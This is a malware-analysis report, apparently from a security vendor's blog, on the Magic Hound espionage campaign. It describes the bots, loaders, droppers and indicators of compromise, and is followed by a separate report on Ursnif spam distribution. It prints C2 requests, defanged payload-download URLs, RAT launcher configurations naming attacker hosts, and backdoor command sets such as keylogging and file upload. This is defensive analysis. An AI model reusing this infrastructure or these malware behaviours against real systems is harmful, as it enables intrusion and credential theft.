There are a great deal of similarities between the IRC bot originally discussed in iSight's NEWSCASTER whitepaper and LEASH. iSight's whitepaper provided details on an IRC bot, which some refer to as Parastoo based on the password used to join the IRC channel, as seen in the following network traffic generated when attempting to connect to the C2:

Parastoo Trojan MagicHound.Leash
USER AS_ # # :des

NICK t__982

JOIN :#tistani Parastoo

USER AS_a # # :des

NICK Conroy

JOIN :#kalk

 

Performing a binary diff revealed a 67% similarity between the Leash and Parastoo samples. In addition to sharing significant portions of code, both of the IRC bots require an IRC user's nickname to start with either "AF_" or "AS_" to run commands on the system. Also, the two bots have similar responses to "VER" commands seen in Figure 6 below, which differ slightly from the responses seen generated by Leash.

fig5

Figure 6 Parastoo Trojan responding to commands in similar manner to Leash

MPKBot

We also found a second IRC bot called MPK using the same IP for its C2 server that a Leash sample was hosted on. This MPK IRC bot is very similar to the MPK Trojan that used a custom C2 communications protocol, as detailed in a  whitepaper by CheckPoint regarding a threat group called Rocket Kitten. We believe this version of the MPK Trojan is based on the same code base, as both the IRC version and the one referenced in the white paper have considerable similarities from a behavior standpoint as well as direct code overlap.

CONCLUSION

The Magic Hound attack campaign is an active and persistent espionage motivated adversary operating in the Middle East region. Organizations in the government, energy, and technology sectors have been targeted by this adversary, specifically organizations based in or doing business in Saudi Arabia. The toolset used by the Magic Hound campaign was an assortment of custom tools, as well as open sourced tools available to the general public. None of the tools we uncovered were found to be exploit-driven, and relied exclusively on social engineering tactics to compromise targets. While we did discover a potential relationship with the Rocket Kitten adversary group, we cannot confirm the extent of that relationship at this time, although we will continue to monitor the activities of Magic Hound.

Palo Alto Networks customers are protected via the following:

INDICATORS OF COMPROMISE

MagicHound.DropIt SHA256

c21074f340665935e6afe2a972c8d1ab517954e2dd05cc73e5ff0e8df587b99d

ea139a73f8ec75ea60dfa87027c7c3ef4ed61b45e1acb5d1650cc54e658984ba

da2abdc951e4b2272fea5c8989debd22e26350bab4b4219104bccec5b8a7ff5a

0d3ae682868cb3ff069ec52e1ffc5ef765453fd78e47b6366d96aebb09afd8ab

f0ecc4388f0d84501499711681a64a74c5d95e0bb6a2174cbe3744bd5a456396

860f4cd44371a180a99bc16526f54f8b051c420a3df334d05d569d0cdadac3d2

b42b1186211633c2d47f3d815f0371ba234fee2ed0f26e487badc58e1ab81061

4beee6e7aa244335e161fdc05296ea100090c2114b4ff2e782e3ee3e1f936fdf

5e0e09c9860b293c4c9a2382a7392963adc54d6a23440abb9a2d89c50f8fd305

3161f9087d89a2d036ea32741d5a006c6bb279d36ff8d1acde63f2e354f8c502

 

MagicHound.Fetch PE SHA256

b6c159cad5a867895fd41c103455cebd361fc32d047b573321280b1451bf151c

6a7537f2cedbf453114cfba086e4746e698713777fb4fa4fc8964247dde741ed

16d87fbd8667677da1af5433b6d797438f8dc0ab565fb40ecb29f83f148888cd

92bc7d04445cf67aa7ddf15792cd62778d2d774d06616d1986f4c389b3d463f5

86d3409c908f667dd298b6a7e1e17652bb29af73e7daed4a5e945fbdf742e9f4

c3a8f5176351e87d28f45e58c79bb6646bb5d94ade7a24c6556514c860004143

a390365ddfcce146a8fa8435022f19b9a1be29f2b11a049cb660ec53f36beb06

d2ffc757a12817e4b58b3d58d71da951b177dedd3f65ca41fad04a03fc63fac6

79c9894b50cde62b182bd1560060c5c2bf5a1cef2b8afdffc4766e8c55ff6932

2f7f3582504fbce349a6991fbb3b5f9577c5c014b6ce889b80d51977fa6fb31a

8c2e4aa8d73ad2e48d70dfa18abea62769c7bef59c8c1607720f4f6162413f75

abe8e86b787998a07411ee24f3f3d8a79e37c6da539650ceed566b081f968c26

9e4d2e983f8a807f741f8873e6fa5d222dc6f3b358ccfc3a6c700398b342f656

e57f77cc3d117923ec01aa0e044edc11b1042e57993ca7f74d971630893ca263

ca6e823dedd6ca5fada2b1fa63d0acb288027f5a3cdd2c60dcace3c424c5ced0

eaaecabb439c81e522d9f5681fdb047ee62381e763f0d9646e68cd507479ba5a

1c3e527e496c4b0594a403d6d582bc6db3029d27369720d0d5122f862b10d8f1

29a659fb0ef0262e4de0dc3c6a140677b6ddee13c1819b791bd280be0547e309

 

MagicHound.Fetch PE C2

service.chrome-up[.]date

www3.chrome-up[.]date

www7.chrome-up[.]date

timezone[.]live

service1.chrome-up[.]date

104.238.184[.]252

www5.chrome-up[.]date

servicesystem.serveirc[.]com

 

MagicHound.Fetch DOC SHA256

218fac3d0639c0d762fcf71685bcf6b64c33d1533df03b4cf223d9b07ca1e3c2

e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6

71e584e7e1fb3cf2689f549192fe3a82fd4cd8ee7c42c15d736ebad47b028087

388b26e22f75a723ce69ad820b61dd8b75e260d3c61d74ff21d2073c56ea565d

33ee8a57e142e752a9c8960c4f38b5d3ff82bf17ec060e4114f5b15d22aa902e

5469facc266d5582bd387d69032a91c8fff373213b66a2f0852666e72bcdc1da

528714aaaa4a083e72599c32c18aa146db503eee80da236b20aea11aa43bdf62

66d24a529308d8ab7b27ddd43a6c2db84107b831257efb664044ec4437f9487b

cfce4827106c79a81eef6d3a0618c90bf5f15936036873573db76bed7e8a0864

68db2b363a88b061cc9063535f3920673f1f08d985b14cb52b898ced6c0f8964

e837f6b814c09900726dac2cf55f41babf361152875ba2a765a34ee5cc496087

f912d40de9fe9a726448c1d84dfba2d4941f57210b2dbc035f5d34d68e8ac143

af0ae0fa877f921d198239b7c722e12d14b2aa32fdfadaa37b47f558ae366de9

6d1a50ca3e80442fa3e2caca86c166ed60bef32c2d0af7352cd227303cdec031

 

MagicHound.Fetch DOC C2

45.76.128[.]165

139.59.46[.]154

104.218.120[.]128

89.107.62[.]39

69.87.223[.]26

analytics-google[.]org

89.107.60[.]11

www3.chrome-up[.]date

www.microsoftsubsystem.com-adm[.]in

www1.chrome-up[.]date

 

MagicHound.Fetch XLS SHA256

6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634b

97943739ccf8a00036dd3cdd0ba48e17a82ab9b65cc22c17c6e6258e72bb9ade

 

MagicHound.Fetch XLS C2

45.76.128[.]165

139.59.46[.]154

 

Pupy Loaders SHA256

7e57e35f8fce0efc3b944a7545736fa419e9888514fcd9e098c883b8d85e7e73

db453b8de1a01a3e4d963847c0a0a45fb7e1a9b9e6d291c8883c74019f2fc91f

82779504d3fa0ffc8506ab69de9cb4d8f6415adbb11a9b8312828c539cf10190

 

Pupy Loaders C2

139.59.46[.]154

www1.chrome-up[.]date

 

MagicHound.Retriever SHA256

1c550dc73b7a39b0cd21d3de7e6c26ece156253ac96f032efc0e7fcc6bc872ce

7cdbf5c035a64cb6c7ee8c204ad42b4a507b1fde5e6708ea2486942d0d358823

b2ea3fcd2bc493a5ac86e47029b076716ed22ef4487f9090f4aa1923a48015d6

3f23972a0e80983351bedf6ad45ac8cd63669d3f1c76f8834c129a9e0418fff1

 

MagicHound.Retriever C2

service.chrome-up[.]date

msservice[.]site

microsoftexplorerservices[.]cloud

 

MagicHound.Leash SHA256

133959be8313a372f7a8d95762722a6ca02bc30aaffde0cbcf6ba402426d02f5

ba3560d3c789984ca29d80f0a2ea38a224e776087e0f28104569630f870adaf4

d8731a94d17e0740184910ec81ba703bad5ff7afc92ba056f200533f668e07bf

 

MagicHound.Leash C2

45.56.123[.]129

syn.timezone[.]live

 

MPKBot SHA256

d08d737fa59edbea4568100cf83cff7bf930087aaa640f1b4edf48eea4e07b19

 

MPKBot C2

45.58.37[.]142

Appendix

MAGICHOUND.ROLLOVER

The Magic Hound campaign used Word and Excel documents as a delivery method, specifically documents that contain a malicious macro that attempts to load either the Pupy RAT or possibly Meterpreter. We call this tool MagicHound.Rollover. In one example, the Word document contained a button with the label “First click "Enable Content" above the page, then click here to fill out the form”

pg16

This string attempts to trick the user into enabling macros to execute the malicious code within the macro. When the macro executes, it unhides a table that contains the contents of a legitimate document in an attempt to make the user less suspicious of the malicious activities occurring in the background. The macro contains malicious code that attempts to download content from a remote server.

The macro uses PowerShell to download a shellcode-based payload from a remote server using one of two available techniques. The first technique is rather straightforward, using PowerShell’s "iex" function to execute a string obtained from a remote server. The macro carries out this first technique by running the following command:

The code above generates the following HTTP request, which the C2 server would then respond to with a script that PowerShell would execute:

GET /eiloShaegae1 HTTP/1.1
Host: 139.59.46[.]154:3485
Connection: Keep-Alive

The second method involves using PowerShell to create a thread to execute a buffer of shellcode, which we believe the threat actors obtained from the Magic Unicorn source code. The Unicorn source code contains a comment for this specific PowerShell command, which is described as a “one line shellcode injection with native x86 shellcode”.

The shellcode begins with a stub that is responsible for decrypting additional shellcode. To decrypt the additional shellcode, the stub code will start with an initial key, such as 0x6CAF9362 and XOR the first DWORD of the additional shellcode. It will then add the resulting DWORD to the key that the stub code will use to decrypt the second DWORD and so on. After we decrypted the additional shellcode, we determined that the functional shellcode is part of the Metasploit Framework, specifically using the block_api.asm code to resolve API function names and the block_reverse_http.asm code to obtain additional shellcode to execute on the system. The assembly code used to create the shellcode can be obtained from:

https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm

https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm

The purpose of the shellcode is to obtain additional shellcode to execute using an HTTP request to the URL "hxxp://45.76.128[.]165:4443/0w0O6". We are unsure of the shellcode hosted at this URL, but it is possible that additional shellcode-based payloads like Meterpreter could have been served by this shellcode.

Two Rollover delivery documents (SHA256: 6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634b and SHA256: 218fac3d0639c0d762fcf71685bcf6b64c33d1533df03b4cf223d9b07ca1e3c2) attempted to communicate with the URL hxxp://139.59.46[.]154:3485/eiloShaegae1 to obtain additional code to execute. On January 1, 2017, we observed this URL responding to the above HTTP request with the following data:

As you can see, the C2 server responds with a PowerShell command that will run on the system. The PowerShell command decodes to the following:

The script above checks the system architecture to determine if it is an x64 machine and attempts to execute a base64 encoded command that decodes to the following:

This decoded PowerShell script attempts to download and execute a file using HTTP from the URL "hxxp:// 139.59.46[.]154:3485 /IMo8oosieVai". The C2 server will respond to this HTTP GET request with a large amount of data that includes a PowerShell script that also contains a DLL payload that is embedded as a series of base64 encoded chunks, that is then decoded using the following code:

The PowerShell script loads the DLL payload directly into memory without saving it to the disk. The Pupy payload was generated using the following configuration, which shows the C2 IP/port and the use of the "obfs3" transport:

It appears the adversary used a majority of the following Pupy module to create the PowerShell commands used in the delivery documents:

https://github.com/n1nj4sec/Pupy/blob/master/Pupy/Pupylib/payloads/ps1_oneliner.py

MAGICHOUND.FETCH

The custom loader Trojan used by this group, which we call MagicHound.Fetch is responsible for setting up persistent access to the system and to reach out to a remote server to download and execute a secondary payload. To set up persistence, the loader creates a folder named "c:\temp", sets its attributes to be a hidden and system folder to hide the folder from view in Windows Explorer. It then writes a file named "rr.exe" (SHA256: f439dee4210d623b5aa7491bad8e8d9b43305f25a5d26940eb36f6460215cf8e) to this folder and executes it with specific command line arguments. During our analysis, we observed one loader running “rr.exe” with the following arguments:

The "rr.exe" payload dropped to the system does nothing more than use the supplied command line arguments to create a registry key to execute the payload each time the system starts. In the example above, the "spp.exe" executable would be added to an auto-run registry key at:

SOFTWARE\Microsoft\Windows\CurrentVersion\Run\iexplore

Many of the Fetch samples attempted to obfuscate their functionality by encrypting their embedded strings with AES using the same key "agkrhfpdbvhdhrkj"; however, the loader's main goal involved running the following command:

The base64 encoded command decodes to the following:

The decoded command above builds a buffer that it uses to store shellcode and creates a thread to execute it. We found the command above within the source code of Magic Unicorn, which was also used in the Magic Hound delivery documents. The shellcode executed by this command is the same as in the delivery documents as well, specifically taken from Metasploit to obtain additional shellcode to execute using an HTTP request to the following URL:

http://www7.chrome-up[.]date/0m5EE

We are unsure of the shellcode hosted at this URL, as we were unable to coerce the C2 server to provide a payload. However, as alluded to above, we believe that this adversary used the open source Magic Unicorn tool to load a shellcode-based payload. The fact that the actor used Metasploit shellcode within the Unicorn generated PowerShell script leads us to speculate that the ultimate payload of this attack is Meterpreter, which is a shellcode-based payload.

PUPY LOADER

Pupy comes with default loaders that run the RAT on a variety of different platforms, specifically Windows, OSX, Linux and  We have seen the Magic Hound actors using both the 32-bit and 64-bit DLL loaders that come with Pupy to infect Windows systems. We have gathered three samples of the default loader associated with this group and extracted the following configurations:

SHA256 of Sample Configuration
82779504d3fa0ffc8506ab69de9cb4d8f6415adbb11a9b8312828c539cf10190 LAUNCHER_ARGS=['--host', 'www1.chrome-up[.]date:4443', '-t', 'obfs3']
db453b8de1a01a3e4d963847c0a0a45fb7e1a9b9e6d291c8883c74019f2fc91f LAUNCHER_ARGS=['--host', 'www1.chrome-up[.]date:4443', '-t', 'obfs3']
7e57e35f8fce0efc3b944a7545736fa419e9888514fcd9e098c883b8d85e7e73 LAUNCHER_ARGS=['--host', '139.59.46[.]154:3543', '-t', 'obfs3']

 

These configurations show that this group uses both fully-qualified domain names and IP addresses to host their Pupy C2 servers. Also, the configurations show the use of the “obfs3” (The Threebfuscator) transport, which is an obfuscation method to hide the true TCP-based communications protocol. The “obfs3” is used in the Tor project and the specifics of this transport can be found at the Tor Project.

MAGICHOUND.DROPIT

The Magic Hound campaign was also discovered using a custom dropper tool, which we have named MagicHound.DropIt.

The DropIt Trojan we analyzed is an executable that builds an embedded executable by decoding embedded blobs of base64 encoded data and concatenating them together in the correct order. In all of the DropIt samples we collected, the dropper will then save the executable to the user’s %TEMP% folder and execute the file, specifically to one of the following filenames:

  • %TEMP%\spp.exe
  • %TEMP%\sloo.exe
  • %TEMP%\spoo.exe
  • %TEMP%\vschos.exe

We have also seen Magic Hound using DropIt like a binder Trojan, specifically dropping a legitimate decoy executable along with the malicious executable as a payload. For example, we analyzed a DropIt sample (SHA256: cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671) that dropped two executables, one of which was saved to “%TEMP%\flash_update.exe” that was a legitimate Flash Player installer. We believe the Magic Hound campaign uses the DropIt Trojan to run legitimate applications that fit their social engineering, which in the example above included coercing the victim into updating their Flash Player.

MAGICHOUND.RETRIEVER

We observed a DropIt sample installing another Trojan we call MagicHound.Retriever. At a high level, Retriever is a .NET downloader that downloads secondary payloads from servers associated with Magic Hound. While the Trojan itself does not resemble the other Magic Hound tools, it does create a folder named "c:\temp" that the Magic Hound loader creates to store its persistence executable, as previously discussed. The folder name is quite generic and by itself is not a great correlation point, however, this coupled with the shared infrastructure makes a higher fidelity connection between the two.

The Retriever Trojan uses the following namespace:

using pcchekapp.grp.ammar.samaneh;

Android.The malware begins by creating a web service object and uses the following URL within its configuration:

http:// service.chrome-up[.]date:8080 /WebService.asmx

It then calls a function called "SetLog2", which sets variables for the system's IP address, MAC address and hostname. A password variable is available but unused in this sample. The code will gather some information about the system, specifically the local IP address, MAC address, and the external IP address of the system. The code obtains the external IP address via an HTTP request using to “http://checkip.dyndns.org/” and uses a regular expression to locate an IP address from the HTTP response.

Once these variables are set, the malware uses the SoapHttpClientProtocol class to communicate with its C2 server, which issues an HTTP POST requests that appears as:

pg21

As you can see from the above request, the SoapHttpClientProtocol class neatly structures data into an HTTP POST request. All subsequent interaction with the C2 server uses the same SOAP web service, so we will not show all of the generated HTTP requests. Instead, we will refer to the specific SOAP action (see "SOAPAction" field in previous example, specifically "SetLog2") that the Trojan requests from the C2 server and the response from the C2 server. After sending the C2 the system information, the malware then issues a second request for "GetHasAnything", which will communicate with the C2 server and ask the server if it has a secondary binary for the Trojan to install.

If the C2 server provides any response to the "GetHasAnything" request, it then calls the "GetIdAbOne" SOAP method to obtain what we believe is a unique identifier for the system that the Trojan will use for further interaction with the C2. After receiving this variable, the Trojan calls the "GetNameAbById" to obtain a base64 string that will be the filename written in a newly created "c:\temp" (decoded from "YzpcdGVtcFw=") folder. The Trojan will then call "GetAbById",  which the C2 will provide a base64 string for the contents for the file to write to c:\temp. After obtaining the unique ID from the C2 server, the Trojan calls the "SetAbStatById" method to notify the C2 server of its status of "1" to notify the server it had successfully received the filename and file data.

With the file written to the system, the Trojan calls the "GetishideAbById" SOAP action to determine whether or not the C2 server wishes to execute the newly dropped file in a hidden window. This request is followed by a call to "GetisrunasAbById" to determine if the Trojan should use "runas" to execute the downloaded executable with elevated privileges, which would display the UAC dialog for the user to click.

Unfortunately, we were unable to obtain a secondary payload from an active C2 server.

MAGICHOUND.LEASH

The Magic Hound campaign was also discovered deploying an IRC Bot, which we have named MagicHound.Leash. This tool was discovered when we observed a DropIt sample installing a backdoor Trojan that used IRC for its C2 communications. The bot chooses a random name from 977 hardcoded possibilities, connects to an adversary owned IRC server and joins a channel using the following IRC commands:

USER AS_a # # :des
NICK Conroy
JOIN :#kalk

Leash obtains its commands via private messages (PRIVMSG) sent from the adversary who must also be connected to the IRC server. The following commands are available:

Command SubCommand Description
VER Generates the following IRC client command that will be sent to the C2 server:

 

PRIVMSG <username> :    8 LED= 20160124

KILL Trojan disconnects from the IRC server and terminates itself
RESET Trojan disconnects from the IRC server and runs the executable again
OS Obtains the Windows version and responds to the C2 with the following message "PRIVMSG <username> :<one of the following version strings>":

 

Windows NT

Windows 95

Windows 98

Windows ME

Windows 2003

Windows XP

Windows 7

Windows Vista

Unkown os info

!SH EXEC Not supported
MD Creates a specified directory. The Trojan will respond to the C2 with "PRIVMSG <username> : <message> [<specified path>]". The message sent to the C2 will be "dir is maked." if successful or "dir is not maked" if unsuccessful.
MKDIR Same as MD subcommand.
RD Removes a specified directory. The Trojan will respond to the C2 with "PRIVMSG <username> : <message> [<specified path>]". The message sent to the C2 will be "dir is removed." if successful or "dir is not removed." if unsuccessful.
DEL Deletes a specified file. The Trojan will respond to the C2 with "PRIVMSG <username> : <message> [<specified path>]". The message sent to the C2 will be "file is deleted." if successful or "file is not deleted." if unsuccessful.
COPY Not supported.
MOVE Not supported.
REN Renames a specified file. The Trojan will respond to the C2 with "PRIVMSG <username> : <message> [<specified path>]". The message sent to the C2 will be "file is renamed." if successful or "file is not renamed." if unsuccessful.
DRIVE Lists the logical drives and the type, as well the total/free space of the fixed devices.
EXE Calls GetModuleFileNameA function to obtain the path to the currently running executable and sends it to the C2 server.
!DWN Downloads a file from a specified URL. Responds to the IRC server via PRIVMSG with “Download  Success :FilePath=<path to downloaded file>” or “Download Fail” if unsuccessful.
!CMD Trojan executes a command prompt command. The Trojan will save the output of the command to %TEMP%\win<random number>.txt and send the contents to the C2 server or "The length of Cmd result file is ziro!" if the command was unsuccessful.
SA Generates the following IRC client command that will be sent to the C2 server:
PRIVMSG <username> : Hello ,my name is  <IRC USER name>, Im ready my Computer Name is:<computer name>

 

All of the commands, except for the VER command, must be issued by individuals in the IRC channel with nicknames that start with "AS_" or "AF_". This suggests that the adversary’s IRC nickname would need to have these prefixes to control the systems infected with this Trojan. The adversary could have used this name requirement as an added measure to make sure other individuals did not join the IRC server and begin interacting with compromised systems.

24a 24b 24c

25a 25b 25c

26a 26b 26c

27a 27b

MPKBot

We also found a second IRC bot called MPK (SHA256: d08d737fa59edbea4568100cf83cff7bf930087aaa640f1b4edf48eea4e07b19) using an IP that a Retriever sample was hosted on as a C2 server instead. This MPK IRC bot is very similar to the MPK Trojan that used a custom C2 communications protocol, as discussed in the whitepaper by CheckPoint discussing a threat group called Rocket Kitten. We believe this version of the MPK Trojan is based on the same code base, as both the IRC version and the one discussed in the above white paper have considerable similarities from a behavior standpoint and both Trojan have direct code sharing between them.

From a behaviorial standpoint, both the IRC and custom protocol version of MPK save "tmp.vbs" and "tmp1.vbs" to the %TEMP% folder (both differed slightly but used the same variable names within the script) in order to copy the Trojan to its final location and to execute it. Both variants need to be executed with the command line argument "[2]" to avoid continually attempting to copy and execute the Trojan using the “tmp.vbs” and “tmp1.vbs” files. The two variants of MPK share the same registry key that the Trojan uses to automatically run each time the system starts, specifically:

[HKLM and HKCU]\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer

Both MPK variants include key loggers that are extremely similar in functionality in addition to having the same strings used for headers within the key log file. The MPK IRC Bot monitors active application windows and writes the title of the open window along with the logged keystrokes to a file at “%temp%\Save.tmp”. The MPK Trojan also monitors specifically for windows that are likely to contain login forms for popular web-based email clients, such as titles that contain:

"Gmail -"
"Yahoo - login"
"Sign In -"
“Outlook.com -"

MPK will attempt to parse these window titles to identify the associated email address and record these to the log file using the following format:

/////////////
Mail Find <email address>
///////////

If the Trojan does not find the window titles associated with Gmail, Yahoo or Outlook, it saves the title to the "Save.tmp" file in the following format:

+++++++++++++
Window= <window title>
+++++++++++++

The major difference between the IRC variant and non-IRC variant of MPK is the C2 protocol used. The IRC variant creates a mutex named “mpk1” and attempts to connect to an IRC server at 45.58.37[.]142:6667. The MPK bot generates a random lowercase name and uses it to log into the IRC server. It then sends the following IRC commands:

NICK bxphzrjbxp
USER bxphzrjbxp bxphzrjbxp bxphzrjbxp bxphzrjbxp

To make sure it connected to the correct server, the Trojan checks for the message sent from the IRC server after the bot connects:

Welcome to the MpkNet IRC Network

The MPK bot does not join a specific IRC channel, instead sending private messages (PRIVMSG) to a user with the nick "mpk". After connecting to the IRC server, the MPK bot sends custom ping messages and provides an introduction via a “!Hello” message that contains the current logged in user of the infected host, if the user has administrator privileges, the hostname, the UUID of the system, and operating system version. Figure 7 shows the initial private messages sent from the MPK bot to the “mpk” account on the C2 server.

fig7

Figure 7 Initial private messages sent from MPK to the IRC C2 server

The commands available within the MPK IRC bot are called via a jump table, rather than a switch statement used in the custom protocol variant of MPK. The IRC variant of MPK has a command set (Table 2) that makes this an effective backdoor Trojan, specifically allowing the actors to steal credentials from the targeted system via keylogging, to navigate and interact with the file system, to run arbitrary commands, and to download and execute additional tools on the system.

Command Description
!Dir Lists the contents of a specified directory
!Drives Enumerates the storage drives attached to the system and their respective type.
!DeleteFile Deletes a specified file
!NickChange Changes the nickname that the Trojan uses to log into the C2 IRC server. Writes it to "nick435.tmp" for subsequent logins.
!ProcessList List running processes, including their PID, parent PID, executable name and priority
!SendFileToServer Uploads a specified file to the C2 server
!CaptureScreen Takes a screenshot that it saves to a file and uploads to the C2 server.
!Hello The Trojan introduces itself by sending the current username, if its an admin account or not, the computer name, the system UUID and the OS version.
!ProcessKill Terminates a process based on PID
!RenameFileFolder Renames a file or folder and returns a list of the containing folder to the C2 server.
!GetFileOfServer Writes a file from the C2 server to a specified file
!ExecuteCommand Uses the command prompt sub-process to execute commands and returns their results to the C2.
!ExeCuteFile Executes a specified file using ShellExecuteA
!DeleteFileFolder Deletes a file or a folder
!SendkeyLogToServer Uploads the %TEMP%\Save.tmp file to the C2 server
!DeleteKeyloggerLog Deletes the %TEMP%\Save.tmp file on the system

Table 2 Commands available within MPK IRC Bot

 

Banking Trojans: Ursnif Global Distribution Networks Identified

The infamous banking Trojan Ursnif (a.k.a Gozi) has been continuously used in attacks against Japan for more than a year. The main delivery technique used is spam email with a malicious attachment that downloads the Ursnif executable from a remote site.

The Tokyo Metropolitan Police Department and Japan Cybercrime Control Center have recently been issuing public warnings of these malicious email activities.  In our analysis we identified distribution networks that are used to target various countries, including Japan and several European nations, with banking Trojans. The network consists of two primary components: a spam botnet which delivers e-mails, and a set of compromised web servers.

Specifically:

  • The spam botnet focuses on delivering Banking Trojans or Downloader Trojans to Japan, Italy, Spain, Poland, Australia, and Germany.
  • Compromised web servers host Banking Trojans and spam bot files that are download by malicious downloader program distributed by spam.

Analysis of Ursnif infection vector in Japan

Using our threat intelligence platform AutoFocus, Palo Alto Networks observed millions of e-mails sent to Japanese targets throughout 2016. Most of the emails were written in Japanese (see example in Figure 1). The latest attachment we’ve seen, detected in January 2017, is a JavaScript downloader that simply downloads Ursnif from a remote site and executes it on compromised machine.

picture1

Figure 1 Japanese email with malicious attachment

Shiotob (a.k.a Bebloh or URLZone) was the most widely distributed threat in this attack campaign last year. We identified 75 unique Shiotob variants in 7 million spam emails. Interestingly, Shiotob itself can steal online bank credentials, but the adversary used it only for downloading main payloads at least since mid-2016. Figure 2 shows the infection steps.

picture2

Figure 2 Infection steps

  1. Victim receives the malicious e-mail and opens the attachment, infecting victim’s system with Shiotob.
  2. Shiotob starts communicating C2 server over HTTPS and receiving commands periodically.
  3. Shiotob installs additional threats (like Ursnif) based on the commands from the C2 server

picture3

Figure 3 Download commands from C2

Figure 3 is the example of commands from Shiotob C2 server. You can see the C2 provided three “>LD” commands in a session. This is the download command installing a remote file on the compromised systems. Two of them are same Ursnif binary from different locations. The other is notorious spam bot called Pushdo (a.k.a Cutwail or Pandex) on another server. Once infected, the threat sends spam emails based on commands from botnet master.

Spam Activity

Unit 42 observed millions of spam emails attacking Japanese recipients, some of whom could be running the banking Trojan and spam bot simultaneously. Though it is difficult to know the exact numbers of infections by the email campaign, we know the number is significant considering an increase in Japan-based IP addresses as a source of emails with malicious attachment (Figure 4). We consider this a result of increasing spam bot infections by this attacker.

picture4

Figure 4 Increasing emails with malicious attachment from Japan

To understand the spam bot network activity, we randomly extracted 200 unique Japanese IP addresses that were spamming Shiotob and investigated what was sent by email. They belong to the email campaign and may have been transmitting something malicious in addition to Shiotob. The result was that the IPs sent 250 unique malware samples among 268,000 emails in 2016 (Figure 5).

picture5

Figure 5 Malware sent by 200 Japanese IP addresses

Most of the malware files are classified as either Banking Trojans or Downloader Trojans. Also, some downloaders were installing Banking Trojans listed above. The botnet apparently focused on delivering Banking Trojans through spam.

Based on our telemetry, Italy, Japan, Spain, Poland and Germany were top target countries by the samples. The attackers customized the delivery e-mails depending on the target and used a localized email subject and body to lure people who speak the language. Some words and topics are frequently observed in their spam emails among all languages (Table 1).

Target Australia Italy Japan Spain Poland Germany
Banking Trojans Ursnif
Shiotob
KINS
Ursnif
Shiotob
Ursnif
Ursnif
Tinba
Ursnif
Tinba
Ursnif
KINS
Frequent word in Emails Photo Foto 写真 Foto Zdjęcie Foto
Order D'ordine 注文 Orden Oferta Bestellung
Invoice Fattura 請求 Factura Faktura Rechnung
Notification Notifica お知らせ Notificación Powiadomienie Versandbenachrichtigung
Delivery Recapito 配達 Entregar Dostawa

Table 1 Targets and Email characteristics

Malware hosting servers

Next, we started searching malware-hosting web servers accessing by the threat in spam. We soon realized the threat actor(s) make their infrastructure redundant by copying threat files on multiple servers. For example, they put a malicious file on both server A and B, and another file on server B and C (Figure 4).

picture6

Figure 6 Malware redundancy

By following the link to servers and malicious files, we found more than 200 malicious files on 74 servers that have been used since April 2015 to January 2017 by the threat actor(s). Most of them were compromised personal or small-to-medium-sized business websites located in  Europe. They host outdated contents and owners seem to have not maintained the servers for years. Figure 7 shows the geographic locations of the web servers.

picture7

Figure 7 Geographical location of the web servers

Figure 8 shows the breakdown of malware found on the web servers and where the malware downloaded from based on our telemetry (Table 2). The results correspond to the analysis of targets and malware by SPAM in the previous section.

picture8

Figure 8 Malware on Web Servers

Malware Downloading countries
Ursnif Japan, Italy, Spain
KINS Italy
Rovnix Japan
Shiotob Australia,
Zeus Italy
Pushdo Japan, Italy

Table 2 Malware family found on Web servers

A full graph of relations between servers and malicious files is below (Figure 9).

picture9

Figure 9 Relations between servers and malicious files

Conclusion

The actors deploying these banking Trojans use a spam bot network and compromised web servers. It is still unclear whether a single group attacks multiple countries with various threats by using the infrastructures, or if numerous threat actors share them.

Palo Alto Networks customers are protected against this threat in the following ways:

  • All samples are appropriately marked malicious in WildFire.
  • Malware families are tagged in AutoFocus using a variety of tags, including Ursnif, KINS, Shiotob, Pushdo, Tinba and Andromeda

Indicators

Ursnif

3af18232a9175dea624a7947e6edef6a57457bdf6d3ba0ead58856a139db2832

5feeee23ecd310ed552b56c1992d5e7f6dbf4e656224a9f3073b83770768e994

c7a2bc376d6ddfc678e7c7b3324b021edf19c896a80ab1ec7c2f36bc004ef29e

1cef688950b9ca01bea0ec9883ab25cebae3db169ff4fb034696868918889f93

26a3f192fab07bb2bffa66f028d793f4a5ca851672430d778b537c4dde800d9c

7f0359314eb3577075367df11699cafd8a5f6c36da0e58890acebbce4144eb05

c5a98f873734fc144f8128c147318599ba993cb0ac103437b37c26774eb51a62

53362b6ec2f87d3044116c955094314d82f340ebc1d8b395513e2be4db3e32a6

b5b222a05156ea8b3c47a1a5da567d191cc8e7a546f2b0edab08a5956ad73ade

eff9abfd254271f46d9fba0064a890ef3b0236434938e1ba42bd29fd0f8f60d1

69292e69d48a5151d47aabd30f3056166032ef9f53e877f09bbd69053b7f4b37

3f3bdb38e4878331de5e867a2606bd9cb9c351303af53194d72f8dc2ddd04a97

88cbc2fdaf4b0f7c0ea6104d2f6c942b915fad5486db2567e94342e76f943a4e

31055c7167c369313262fb0fb2bf1ac1db895d04067ed505732ccd3d5ef43b29

fde59700c02a58752cd28d6adb0389a5d69657f6f6925a0bd8ba35a1f724de5c

54162c5399a945f16080d0d8b44cceca3176ecc8e03d03e5aa2295498b7c0cf7

111dd5576fd9c9108a801eded1ab93d21583c84cdfb86ea81fea14ae2ed8ed40

3fd65bd55e4dadbf079c6a533941135b0ddf217dea16eec6ebc33f2098ea6276

55acc2455ba3bef79840ead843cf29af239e7384f7d62246fe93fe427ed99587

530326ed9cafede731a478242b0f1f13f7263c1bec156adb2f3f26132667464d

a778cdaf3d360f5d06be9846bc4ab74d679324bf0e9b03616000367dc27c3f0e

e331b749c3f5896adb5a271ea2a4a037e811344162cd574b11892a18a85c1722

cb57b3c5ec62a83b3096bd2d737cad83119d19939d76b483d0429fd26d492ef4

602353156303f7fd02b33d1912f8ee93bf324f5c4fb993993137bd13abfa9a9d

b03333b35266db0faf6fc407b36efc2f9f8a574921cf87f4a5fb60a13cbcdb14

f6805cd59dfe012afd50a6bd3ccded29432d444a73016755ee1b217b13b59fb8

93e2bff638a61503780fb7cb90d85b6f5cb027c8ff732f495a6d13734a5741b1

